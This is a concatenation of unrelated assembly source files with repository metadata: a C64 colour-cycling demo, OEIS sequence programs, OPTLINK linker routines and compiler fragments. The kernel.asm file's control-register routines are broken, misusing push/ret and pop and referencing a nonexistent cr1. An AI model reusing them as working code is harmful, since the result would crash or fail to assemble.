54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 */
31.937729
2,999
0.649157
fe3d06ae3026a450ad5ea225ea0f8ec62f84652b
2,765
asm
Assembly
screen_colors/screencolors.asm
nealvis/c64_samples_kick
9d66991032a5e2caeeb40167672e2a96b723677d
[ "MIT" ]
null
null
null
screen_colors/screencolors.asm
nealvis/c64_samples_kick
9d66991032a5e2caeeb40167672e2a96b723677d
[ "MIT" ]
null
null
null
screen_colors/screencolors.asm
nealvis/c64_samples_kick
9d66991032a5e2caeeb40167672e2a96b723677d
[ "MIT" ]
null
null
null
////////////////////////////////////////////////////////////////////////////// // screencolors.asm // Copyright(c) 2021 Neal Smith. // License: MIT. See LICENSE file in root directory. ////////////////////////////////////////////////////////////////////////////// // Sample c64 program that shows how to cycle through the screen and border // colors with no regard for syncing with scan lines // 10 SYS (4096) *=$0800 "BASIC Start" .byte $00 // first byte of basic should be zero // These bytes are a one line basic program that will // do a sys call to assembly language portion of // of the program which will be at $1000 or 4096 decimal // basic line is: // 10 SYS (4096) .byte $0E, $08 // Forward address to next basic line .byte $0A, $00 // this will be line 10 ($0A) .byte $9E // basic token for SYS .byte $20, $28, $34, $30, $39, $36, $29 // ASCII for " (4096)" .byte $00, $00, $00 // end of basic program (addr $080E from above) // program var for inner loop index/counter inner_counter: .byte 0 // program var for outer loop index/counter outer_counter: .byte 0 *=$1000 "Main Start" Main: // assembler constants for special addresses .const BORDER_COLOR_ADDR = $D020 // c64 addr scrn border color .const BACKGROUND_COLOR_ADDR = $D021 // c64 addr bkgrd color .const CLEAR_SCREEN_KERNAL_ADDR = $E544 // addr Kernal clear screen // Assembler variables for loops. // Total iterations will be _inner_max * _outer_max .const INNER_MAX = $FF // number of iterations of inner loop .const OUTER_MAX = $B0 // number of iterations of outer loop // call kernal clear screen routine leave cursor upper left jsr CLEAR_SCREEN_KERNAL_ADDR CrazyBorderLoop: // next boarder and background color inc BORDER_COLOR_ADDR // inc val at border color addr inc BACKGROUND_COLOR_ADDR // inc val at bkgrd color addr // inc inner counter and if hasn't reached max then // back to top of loop inc inner_counter lda #INNER_MAX cmp inner_counter bne CrazyBorderLoop // inner loop finished, reset inner_counter // to zero to prepare for next time through lda #00 sta inner_counter // now inc and check outer loop counter // if we've completed all the outer loops then done inc outer_counter lda #OUTER_MAX cmp outer_counter beq Done // still more to do, back to top of inner loop jmp CrazyBorderLoop Done: rts
35
80
0.574684
64816ce0e688af014bcac26276b845a33f16c563
332
asm
Assembly
programs/oeis/131/A131914.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/131/A131914.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/131/A131914.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A131914: 3*A002024 - 2*A051340. ; 1,4,2,7,5,3,10,8,6,4,13,11,9,7,5,16,14,12,10,8,6,19,17,15,13,11,9,7,22,20,18,16,14,12,10,8,25,23,21,19,17,15,13,11,9,28,26,24,22,20,18,16,14,12,10 add $0,1 lpb $0,1 add $1,1 trn $2,$0 add $0,1 add $2,1 add $1,$2 sub $1,1 sub $0,$1 trn $0,1 add $2,$1 mov $1,$2 sub $1,1 lpe
18.444444
148
0.551205
90b3ba5acbd6745d9d36a83a0e333e2a888992f5
459
asm
Assembly
programs/oeis/247/A247617.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/247/A247617.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/247/A247617.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A247617: a(4n) = n + 1/2 - (-1)^n/2 + (-1)^n, a(2n+1) = 2*n + 5, a(4n+2) = 2*n + 3. ; 1,5,3,7,1,9,5,11,3,13,7,15,3,17,9,19,5,21,11,23,5,25,13,27,7,29,15,31,7,33,17,35,9,37,19,39,9,41,21,43,11,45,23,47,11,49,25,51,13,53,27,55,13,57,29,59,15,61,31,63,15,65,33,67,17,69,35,71,17,73,37,75,19,77,39,79,19,81,41,83,21,85,43,87,21,89,45,91,23,93,47,95,23,97,49,99,25,101,51,103 mov $1,3 add $1,$0 mov $2,$0 gcd $2,4 div $1,$2 div $1,2 mul $1,2 add $1,1 mov $0,$1
35.307692
286
0.570806
e237ea7746b3e65f1f6d08e2a1c70803134a5e1c
630
asm
Assembly
oeis/118/A118186.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/118/A118186.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/118/A118186.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A118186: Row sums of triangle A118185: a(n) = Sum_{k=0..n} 4^(k*(n-k)) for n>=0. ; 1,2,6,34,386,8706,395266,35659778,6476038146,2336999211010,1697654543745026,2450521284684021762,7120479243447937531906,41112924905741324849774594,477847273163370530909175414786,11036166744566429554093374637604866,513084602679863723846266388208276209666,47399975241115600634318906998788751240462338,8814726354364674606625957876234345428201236332546,3257301495868819508476744972708211171047442778075168770,2422973530571877394760969854918408271749851273923331226599426 mul $0,2 seq $0,117403 ; a(n) = Sum_{k=0..floor(n/2)} 2^((n-2*k)*k) for n>=0.
105
467
0.847619
e845486822963d45e0f910468656dd89fbbd68dd
663
asm
Assembly
ntio/capture.asm
DigitalMars/optlink
493de158282046641ef2a3a60a88e25e26d88ec4
[ "BSL-1.0" ]
28
2015-02-03T01:38:24.000Z
2022-03-23T05:48:24.000Z
ntio/capture.asm
DigitalMars/optlink
493de158282046641ef2a3a60a88e25e26d88ec4
[ "BSL-1.0" ]
20
2015-01-02T14:51:20.000Z
2021-01-09T21:37:19.000Z
ntio/capture.asm
DigitalMars/optlink
493de158282046641ef2a3a60a88e25e26d88ec4
[ "BSL-1.0" ]
9
2015-02-11T17:43:56.000Z
2019-09-05T11:07:02.000Z
TITLE CAPTURE - Copyright (C) 1994 SLR Systems INCLUDE MACROS INCLUDE WIN32DEF PUBLIC CAPTURE_EAX,RELEASE_EAX,RELEASE_EAX_BUMP .CODE ROOT_TEXT externdef _capture_eax:proc externdef _release_eax:proc externdef _release_eax_bump:proc CAPTURE_EAX PROC push ECX push EDX push EAX call _capture_eax add ESP,4 pop EDX pop ECX ret CAPTURE_EAX ENDP RELEASE_EAX PROC push ECX push EDX push EAX call _release_eax add ESP,4 pop EDX pop ECX ret RELEASE_EAX ENDP RELEASE_EAX_BUMP PROC push ECX push EDX push EAX call _release_eax_bump add ESP,4 pop EDX pop ECX ret RELEASE_EAX_BUMP ENDP END
11.237288
49
0.733032
d92fb9f97e749e7f49ef75da7c4ac3bb8be6b4d9
644
asm
Assembly
src/kernel/kernel.asm
Mischa-Alff/Asterix
31935b321a82963a61d23afba1bbb70e226373f1
[ "MIT" ]
1
2020-11-17T19:53:23.000Z
2020-11-17T19:53:23.000Z
src/kernel/kernel.asm
Mischa-Alff/Asterix
31935b321a82963a61d23afba1bbb70e226373f1
[ "MIT" ]
null
null
null
src/kernel/kernel.asm
Mischa-Alff/Asterix
31935b321a82963a61d23afba1bbb70e226373f1
[ "MIT" ]
null
null
null
BITS 64 global get_cr0 get_cr0: mov rax, cr0 push rax ret global set_cr0 set_cr0: pop rax mov cr0, rax ret global get_cr1 get_cr1: mov rax, cr1 push rax ret global set_cr1 set_cr1: pop rax mov cr1, rax ret global get_cr2 get_cr2: mov rax, cr2 push rax ret global set_cr2 set_cr2: pop rax mov cr2, rax ret global get_cr3 get_cr3: mov rax, cr3 push rax ret global set_cr3 set_cr3: pop rax mov cr3, rax ret global get_cr4 get_cr4: mov rax, cr4 push rax ret global set_cr4 set_cr4: pop rax mov cr4, rax ret global get_rsi get_rsi: mov rax, rsi push rax ret section .bss align 32 stack: resb 0x4000
8.821918
15
0.717391
da78d67b0f6e0d5bd714a9c733cbefa6cabe5976
12,420
asm
Assembly
exe/pendsect.asm
DigitalMars/optlink
493de158282046641ef2a3a60a88e25e26d88ec4
[ "BSL-1.0" ]
28
2015-02-03T01:38:24.000Z
2022-03-23T05:48:24.000Z
exe/pendsect.asm
DigitalMars/optlink
493de158282046641ef2a3a60a88e25e26d88ec4
[ "BSL-1.0" ]
20
2015-01-02T14:51:20.000Z
2021-01-09T21:37:19.000Z
exe/pendsect.asm
DigitalMars/optlink
493de158282046641ef2a3a60a88e25e26d88ec4
[ "BSL-1.0" ]
9
2015-02-11T17:43:56.000Z
2019-09-05T11:07:02.000Z
TITLE PENDSECT - Copyright (c) SLR Systems 1994 INCLUDE MACROS INCLUDE SEGMENTS INCLUDE GROUPS INCLUDE IO_STRUC INCLUDE SECTS INCLUDE RESSTRUC INCLUDE EXES INCLUDE SEGMSYMS if fg_segm PUBLIC SEGM_OUT_END_OF_SECTION,COPY_RESOURCE_TO_FINAL,RELEASE_RESOURCES .DATA EXTERNDEF EXETYPE_FLAG:BYTE,TEMP_RECORD:BYTE EXTERNDEF DONT_PACK:DWORD,FLAG_0C:DWORD,_ERR_COUNT:DWORD,SEG_PAGE_SHIFT:DWORD,SEGMENT_COUNT:DWORD EXTERNDEF RESOURCE_BYTES_SO_FAR:DWORD,NEXT_RESOURCE_PTR:DWORD,NEXT_RESOURCE_MASTER_PTR:DWORD EXTERNDEF LAST_SEG_OS2_NUMBER:DWORD,SEG_PAGE_SIZE_M1:DWORD,CURN_SECTION_GINDEX:DWORD,DGROUP_GINDEX:DWORD EXTERNDEF CODEVIEW_SECTION_GINDEX:DWORD,CURN_OUTFILE_GINDEX:DWORD,SEGMENT_TABLE_PTR:DWORD,SEGMENT_TABLE:DWORD EXTERNDEF FIRST_RESOURCE_TYPE:DWORD,RESOURCE_TABLE_SIZE:DWORD,HEAP_SIZE:DWORD,STACK_SIZE:DWORD EXTERNDEF RESOURCE_BLOCK_MASTER_PTRS:DWORD,RESTYPE_HASH_TABLE_PTR:DWORD,FIRST_SECTION_GINDEX:DWORD EXTERNDEF RESTYPE_BYNAME_GINDEX:DWORD,RESTYPE_N_BYNAME:DWORD,RESTYPE_N_BYORD:DWORD,RESTYPE_BYORD_GINDEX:DWORD EXTERNDEF RESOURCE_HASHES:DWORD EXTERNDEF OUT_FLUSH_SEGMENT:DWORD EXTERNDEF RESOURCE_STUFF:ALLOCS_STRUCT,ENTRY_STUFF:ALLOCS_STRUCT,OUTFILE_GARRAY:STD_PTR_S EXTERNDEF GROUP_GARRAY:STD_PTR_S,ENTRY_GARRAY:STD_PTR_S,RTNL_GARRAY:STD_PTR_S,RESTYPE_GARRAY:STD_PTR_S EXTERNDEF RESNAME_GARRAY:STD_PTR_S,RES_TYPE_NAME_GARRAY:STD_PTR_S,NEXEHEADER:NEXE .CODE PASS2_TEXT EXTERNDEF FLUSH_OUTFILE_CLOSE:PROC,FLUSH_EXESTR:PROC,MOVE_EAX_TO_EDX_NEXE:PROC,ERR_RET:PROC,ERR_ABORT:PROC EXTERNDEF EO_CV:PROC,_release_minidata:proc,DO_OS2_PAGE_ALIGN:PROC,MOVE_EAX_TO_FINAL_HIGH_WATER:PROC EXTERNDEF RELEASE_BLOCK:PROC,RELEASE_GARRAY:PROC,WARN_RET:PROC,RELEASE_IO_BLOCK:PROC EXTERNDEF HEAP_STACK_DGROUP_ERR:ABS,HEAP_NO_DGROUP_ERR:ABS SEGM_OUT_END_OF_SECTION PROC ; ;END OF A SECTION ; CALL OUT_FLUSH_SEGMENT ;FLUSHES BUFFERED EXEPACK STUFF MOV EAX,CURN_SECTION_GINDEX MOV ECX,FIRST_SECTION_GINDEX CMP EAX,ECX JZ L1$ CMP CODEVIEW_SECTION_GINDEX,EAX JZ EO_CV MOV AL,0 JMP ERR_ABORT L2$: AND EBX,NOT 3 JMP L21$ L11$: ; ;OK, NEED TO CALCULATE GANGLOAD LENGTH ; SUB AX,NEXEHEADER._NEXE_GANGSTART MOV NEXEHEADER._NEXE_GANGLENGTH,AX RET L1$: ; ;WRITE OUT RESOURCES ; CALL WRITE_RESOURCES BITT RC_PRELOADS JNZ L11$ MOV EAX,OFF ENTRY_STUFF push EAX call _release_minidata add ESP,4 MOV EAX,OFF ENTRY_GARRAY CALL RELEASE_GARRAY ; ;WRITE OUT RESOURCE TABLE ; CALL WRITE_RESOURCE_TABLE ; ;DO NEXEHEADER ; MOV ESI,DGROUP_GINDEX MOV EBX,FLAG_0C TEST ESI,ESI JZ L2$ CONVERT ESI,ESI,GROUP_GARRAY ASSUME ESI:PTR GROUP_STRUCT MOV EAX,[ESI]._G_LEN MOV ECX,[ESI]._G_OFFSET OR EAX,EAX JZ L2$ SUB EAX,ECX JZ L2$ MOV EAX,[ESI]._G_OS2_NUMBER MOV NEXEHEADER._NEXE_DGROUP,AX CONV_EAX_SEGTBL_ECX MOV EAX,[ECX]._SEGTBL_LSIZE ; ;EAX IS DGROUP SIZE WITHOUT STACK OR HEAP ; ADD EAX,STACK_SIZE ; ;BX:AX IS DGROUP SIZE WITHOUT HEAP ; CMP EAX,64K JAE L205$ BITT HEAP_MAXVAL JZ L205$ ; ;SET HEAP_SIZE TO 64K MINUS AX ; MOV ECX,64K-16 ;MINUS 16 FOR WINDOWS... XOR EDX,EDX SUB ECX,EAX MOV HEAP_SIZE,ECX JNC L205$ MOV HEAP_SIZE,EDX L205$: ADD EAX,HEAP_SIZE CMP EAX,0FFF0H JB L21$ MOV AX,HEAP_STACK_DGROUP_ERR CALL ERR_RET L21$: BITT HANDLE_EXE_ERRORFLAG JZ L215$ MOV EAX,_ERR_COUNT OR EAX,EAX JZ L215$ OR EBX,MASK APPERRORS L215$: MOV NEXEHEADER._NEXE_FLAGS,BX MOV EAX,HEAP_SIZE MOV NEXEHEADER._NEXE_HEAPSIZE,AX OR EAX,EAX JZ L217$ CMP NEXEHEADER._NEXE_DGROUP,0 JNZ L217$ MOV AX,HEAP_NO_DGROUP_ERR CALL WARN_RET L217$: ; MOV AX,STACK_SIZE ;THIS HAPPENS AT STROE_STACK_SEGMENT (PASS2) ; MOV NEXEHEADER._NEXE_STACKSIZE,AX MOV EAX,SEG_PAGE_SHIFT MOV NEXEHEADER._NEXE_LSECTOR_SHIFT,AX MOV AL,EXETYPE_FLAG XOR AH,AH CMP AL,UNKNOWN_SEGM_TYPE JNZ L218$ XOR AL,AL L218$: CMP AL,WIN_SEGM_TYPE ;WINDOWS JZ L22$ BITT LONGNAMES_FLAG JZ L22$ MOV AH,1 L22$: OR WPTR (NEXEHEADER._NEXE_EXETYPE),AX ; ; ; MOV EAX,OFF NEXEHEADER MOV ECX,40H XOR EDX,EDX CALL MOVE_EAX_TO_EDX_NEXE ; ;NOW SEND SEGMENT TABLE TOO... ; MOV ESI,SEGMENT_TABLE_PTR MOV ECX,SEGMENT_COUNT ADD ESI,SIZE SEGTBL_STRUCT MOV EDI,OFF TEMP_RECORD ASSUME ESI:PTR SEGTBL_STRUCT OR ECX,ECX JZ L6$ L23$: MOV EDX,[ESI]._SEGTBL_PSIZE MOV EBX,[ESI]._SEGTBL_FADDR SHL EDX,16 MOV EAX,[ESI]._SEGTBL_FLAGS OR EDX,EBX MOV EBX,[ESI]._SEGTBL_LSIZE SHL EBX,16 XOR EAX,MASK SR_DPL ;FLIP THESE MOV [EDI],EDX OR EAX,EBX ; ;IF CODE SEG, THEN MOVABLE OR DISCARDABLE == BOTH ; TEST AL,1 ;1 = DATA JNZ L24$ ; TEST WPTR 4[SI],MASK SR_MOVABLE+MASK SR_DISCARD ; JZ 4$ ; OR WPTR 4[SI],MASK SR_MOVABLE+MASK SR_DISCARD ;4$: ; ;IF IOPL, SET MOVABLE ALSO ; MOV EBX,EAX AND BH,MASK SR_DPL SHR 8 CMP BH,8 JNZ L5$ OR EAX,MASK SR_MOVABLE L5$: L24$: AND AL,NOT MASK SR_MULTIPLE ADD ESI,SIZE SEGTBL_STRUCT MOV [EDI+4],EAX ADD EDI,8 DEC ECX JNZ L23$ L6$: MOV EAX,OFF TEMP_RECORD MOV ECX,SEGMENT_COUNT MOVZX EDX,NEXEHEADER._NEXE_SEGTBL_OFFSET SHL ECX,3 CALL MOVE_EAX_TO_EDX_NEXE CALL FLUSH_EXESTR XOR EAX,EAX RESS EXEPACK_SELECTED,AL RESS EXEPACK_BODY,AL if fg_slrpack RESS SLRPACK_FLAG,AL endif MOV DONT_PACK,EAX MOV EAX,CURN_OUTFILE_GINDEX CONVERT EAX,EAX,OUTFILE_GARRAY ASSUME EAX:PTR OUTFILE_STRUCT DEC [EAX]._OF_SECTIONS ;# OF SECTIONS USING THIS FILE JNZ L25$ ; ;LAST SECTION TO USE THIS FILE, FLUSH AND CLOSE ; CALL FLUSH_OUTFILE_CLOSE XOR EAX,EAX MOV CURN_OUTFILE_GINDEX,EAX L25$: RET ASSUME EAX:NOTHING SEGM_OUT_END_OF_SECTION ENDP WRITE_RESOURCE_TABLE PROC NEAR ; ;IF RC MODE, BUILD AND WRITE RESOURCE TABLE TO HEADER ; MOV EAX,RESTYPE_N_BYNAME MOV EDI,OFF TEMP_RECORD ADD EAX,RESTYPE_N_BYORD JZ L9$ MOV EAX,SEG_PAGE_SHIFT ; MOV [EDI],EAX ADD EDI,2 CALL FLUSH_RESOURCE_TABLE_CHUNK MOV ESI,RESTYPE_BYORD_GINDEX CALL WRITE_TABLE_1 MOV ESI,RESTYPE_BYNAME_GINDEX CALL WRITE_TABLE_1 XOR EAX,EAX STOSW ;NUL RESOURCE TYPE CALL FLUSH_RESOURCE_TABLE_CHUNK CALL RELEASE_RESOURCES MOV EAX,OFF RESNAME_GARRAY CALL RELEASE_GARRAY MOV EAX,OFF RESTYPE_GARRAY CALL RELEASE_GARRAY MOV EAX,OFF RES_TYPE_NAME_GARRAY CALL RELEASE_GARRAY MOV EAX,OFF RTNL_GARRAY CALL RELEASE_GARRAY MOV EAX,OFF RESOURCE_STUFF push EAX call _release_minidata add ESP,4 MOV EAX,RESOURCE_HASHES CALL RELEASE_BLOCK L9$: RET WRITE_RESOURCE_TABLE ENDP WRITE_TABLE_1 PROC TEST ESI,ESI JZ L9$ L1$: CONVERT ESI,ESI,RESTYPE_GARRAY ASSUME ESI:PTR RESTYPE_STRUCT MOV EBX,[ESI]._RT_N_RTN_BYNAME MOV ECX,[ESI]._RT_N_RTN_BYORD MOV EAX,[ESI]._RT_ID_GINDEX ADD EBX,ECX SHL EBX,16 CALL CONVERT_EAX_ID_GINDEX_16 XOR ECX,ECX OR EAX,EBX MOV [EDI+4],ECX MOV [EDI],EAX ADD EDI,8 MOV EAX,[ESI]._RT_RTN_BYORD_GINDEX MOV ESI,[ESI]._RT_NEXT_RT_GINDEX CALL TABLE_HELPER TEST ESI,ESI JNZ L1$ L9$: RET WRITE_TABLE_1 ENDP CONVERT_EAX_ID_GINDEX_16 PROC NEAR ; ; ; CMP EAX,64K JAE L1$ OR AH,80H RET L1$: CONVERT EAX,EAX,RESNAME_GARRAY ASSUME EAX:PTR RESNAME_STRUCT MOV EAX,[EAX]._RN_OFFSET MOV EDX,RESOURCE_TABLE_SIZE ADD EAX,EDX RET ASSUME EAX:NOTHING CONVERT_EAX_ID_GINDEX_16 ENDP TABLE_HELPER PROC NEAR ; ; ; PUSH ESI MOV ESI,EAX L0$: TEST ESI,ESI JZ L9$ L1$: CONVERT ESI,ESI,RES_TYPE_NAME_GARRAY ASSUME ESI:PTR RES_TYPE_NAME_STRUCT MOV EAX,[ESI]._RTN_ID_GINDEX MOV EBX,[ESI]._RTN_RTNL_GINDEX ;TAKE LAST LANGUAGE IF MULTIPLE... CALL CONVERT_EAX_ID_GINDEX_16 SHL EAX,16 CONVERT EBX,EBX,RTNL_GARRAY ASSUME EBX:PTR RTNL_STRUCT MOV ECX,[EBX]._RTNL_FLAGS AND ECX,0FFFFH MOV ESI,[ESI]._RTN_NEXT_RTN_GINDEX OR ECX,EAX MOV EAX,SEG_PAGE_SIZE_M1 MOV [EDI+4],ECX MOV EDX,[EBX]._RTNL_FILE_SIZE ADD EDX,EAX MOV ECX,SEG_PAGE_SHIFT SHR EDX,CL SHL EDX,16 MOV EAX,[EBX]._RTNL_FILE_ADDRESS ;CONVERTED TO OUTPUT FILE PAGE WHEN RESOURCE WRITTEN OR EAX,EDX XOR ECX,ECX MOV [EDI],EAX MOV [EDI+8],ECX ADD EDI,12 CMP EDI,OFF TEMP_RECORD+TEMP_SIZE-20 JB L0$ CALL FLUSH_RESOURCE_TABLE_CHUNK JMP L0$ L9$: POP ESI RET TABLE_HELPER ENDP FLUSH_RESOURCE_TABLE_CHUNK PROC NEAR ; ;IF DI !=TEMP_RECORD, FLUSH IT TO NEXE ; MOV EAX,OFF TEMP_RECORD MOV ECX,EDI SUB ECX,EAX JZ L9$ MOVZX EDX,NEXEHEADER._NEXE_RSRCTBL_OFFSET MOV EDI,RESOURCE_BYTES_SO_FAR ADD EDX,EDI ADD EDI,ECX MOV RESOURCE_BYTES_SO_FAR,EDI MOV EDI,EAX JMP MOVE_EAX_TO_EDX_NEXE L9$: RET FLUSH_RESOURCE_TABLE_CHUNK ENDP WRITE_RESOURCES PROC NEAR ; ;SCAN RESOURCE TABLE, OUTPUTING RESOURCES AS WE GO ; MOV EAX,SEGMENT_COUNT MOV ECX,LAST_SEG_OS2_NUMBER INC EAX PUSH ECX MOV LAST_SEG_OS2_NUMBER,EAX MOV ESI,RESTYPE_BYORD_GINDEX TEST ESI,ESI JZ L3$ L1$: CONVERT ESI,ESI,RESTYPE_GARRAY ASSUME ESI:PTR RESTYPE_STRUCT MOV EAX,[ESI]._RT_RTN_BYORD_GINDEX CALL WRITE_RESOURCES_1 MOV ESI,[ESI]._RT_NEXT_RT_GINDEX TEST ESI,ESI JNZ L1$ L3$: MOV ESI,RESTYPE_BYNAME_GINDEX TEST ESI,ESI JZ L9$ L4$: CONVERT ESI,ESI,RESTYPE_GARRAY ASSUME ESI:PTR RESTYPE_STRUCT MOV EAX,[ESI]._RT_RTN_BYORD_GINDEX CALL WRITE_RESOURCES_1 MOV ESI,[ESI]._RT_NEXT_RT_GINDEX TEST ESI,ESI JNZ L4$ L9$: POP ESI CALL DO_OS2_PAGE_ALIGN ;EAX IS PAGE ADDRESS MOV LAST_SEG_OS2_NUMBER,ESI RET WRITE_RESOURCES ENDP WRITE_RESOURCES_1 PROC NEAR ; ; ; PUSH ESI MOV ESI,EAX L0$: TEST ESI,ESI JZ L9$ L1$: CONVERT ESI,ESI,RES_TYPE_NAME_GARRAY ASSUME ESI:PTR RES_TYPE_NAME_STRUCT MOV EBX,[ESI]._RTN_RTNL_GINDEX CONVERT EBX,EBX,RTNL_GARRAY ASSUME EBX:PTR RTNL_STRUCT GETT AL,RC_REORDER OR AL,AL JZ L4$ GETT AL,RC_PRELOADS MOV ECX,[EBX]._RTNL_FLAGS OR AL,AL JNZ L35$ AND ECX,MASK SR_PRELOAD JNZ L5$ JMP L4$ L9$: POP ESI RET L35$: AND ECX,MASK SR_PRELOAD JZ L5$ L4$: CALL DO_OS2_PAGE_ALIGN ;EAX RETURNS PAGE ADDRESS MOV ECX,EAX MOV EAX,[EBX]._RTNL_FILE_ADDRESS ;ADDRESS IN .RES FILE MOV [EBX]._RTNL_FILE_ADDRESS,ECX ; ;EAX IS SOURCE ADDRESS IN RESOURCE FILE ; MOV ECX,[EBX]._RTNL_FILE_SIZE CALL COPY_RESOURCE_TO_FINAL L5$: MOV ESI,[ESI]._RTN_NEXT_RTN_GINDEX JMP L0$ WRITE_RESOURCES_1 ENDP ASSUME ESI:NOTHING,EBX:NOTHING RELEASE_RESOURCES PROC ; ; ; PUSHM EDI,ESI MOV ESI,RESOURCE_BLOCK_MASTER_PTRS TEST ESI,ESI JZ L9$ PUSH EBX MOV ECX,64 L1$: MOV EBX,[ESI] ADD ESI,4 TEST EBX,EBX JZ L5$ MOV EDI,64 L2$: MOV EAX,[EBX] TEST EAX,EAX JZ L5$ ADD EBX,4 CALL RELEASE_IO_BLOCK DEC EDI JNZ L2$ L5$: DEC ECX JNZ L1$ POP EBX L9$: POPM ESI,EDI RET RELEASE_RESOURCES ENDP COPY_RESOURCE_TO_FINAL PROC ; ;EAX IS RESOURCE FILE ADDRESS ;ECX IS # OF BYTES TO MOVE ; PUSHM ESI,EBX MOV EDX,EAX MOV ESI,EAX SHR EDX,PAGE_BITS ;BLOCK # IN EDX, OFFSET IN ESI AND ESI,PAGE_SIZE-1 MOV EAX,EDX PUSH ECX SHR EDX,6 AND EAX,63 SHL EDX,2 ADD EAX,EAX MOV NEXT_RESOURCE_MASTER_PTR,EDX ADD EAX,EAX MOV NEXT_RESOURCE_PTR,EAX POP ECX L3$: ; ;GET BLOCK ; MOV EBX,RESOURCE_BLOCK_MASTER_PTRS MOV EDX,NEXT_RESOURCE_MASTER_PTR PUSHM ECX MOV EAX,PAGE_SIZE MOV EBX,[EBX+EDX] MOV EDX,NEXT_RESOURCE_PTR PUSH ESI SUB EAX,ESI MOV EBX,[EBX+EDX] ; ;NEED TO MOVE SMALLER OF DX:CX AND PAGE_SIZE-SI ; CMP EAX,ECX JB L5$ MOV EAX,ECX L5$: PUSH EAX MOV ECX,EAX LEA EAX,[ESI+EBX] CALL MOVE_EAX_TO_FINAL_HIGH_WATER POP EAX ;# ACTUALLY MOVED POP ESI ADD ESI,EAX CMP ESI,PAGE_SIZE JNZ L6$ MOV ECX,NEXT_RESOURCE_PTR XOR ESI,ESI ADD ECX,4 CMP ECX,256 JNZ L55$ ADD NEXT_RESOURCE_MASTER_PTR,4 MOV ECX,ESI L55$: MOV NEXT_RESOURCE_PTR,ECX L6$: POP ECX SUB ECX,EAX JNZ L3$ POPM EBX,ESI RET COPY_RESOURCE_TO_FINAL ENDP PUBLIC SET_RESOURCE_PTR SET_RESOURCE_PTR PROC ;9 ; ;EAX IS FILE ADDRESS ; MOV EDX,EAX MOV ECX,EAX SHR EDX,PAGE_BITS ;BLOCK # IN EDX, OFFSET IN ESI AND ECX,PAGE_SIZE-1 MOV EAX,EDX PUSH EBX SHR EDX,6 AND EAX,63 SHL EDX,2 MOV EBX,RESOURCE_BLOCK_MASTER_PTRS SHL EAX,2 MOV NEXT_RESOURCE_MASTER_PTR,EDX MOV EBX,[EBX+EDX] MOV NEXT_RESOURCE_PTR,EAX ; ;GET BLOCK ; MOV EAX,[EBX+EAX] POP EBX RET SET_RESOURCE_PTR ENDP endif END
15.201958
111
0.730354
181dc13d315017d419b57938e50c5cdc962933fa
137
asm
Assembly
src/main/fragment/mos6502-common/vdum1=vdum2_plus_pduc1_derefidx_vbuxx.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vdum1=vdum2_plus_pduc1_derefidx_vbuxx.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vdum1=vdum2_plus_pduc1_derefidx_vbuxx.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
lda {m2} clc adc {c1},x sta {m1} lda {m2}+1 adc {c1}+1,x sta {m1}+1 lda {m2}+2 adc {c1}+2,x sta {m1}+2 lda {m2}+3 adc {c1}+3,x sta {m1}+3
10.538462
12
0.554745
3923cb08090d319648626be8ed1509439e3b4006
1,077
asm
Assembly
wof/lcs/123p/64.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
wof/lcs/123p/64.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
wof/lcs/123p/64.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
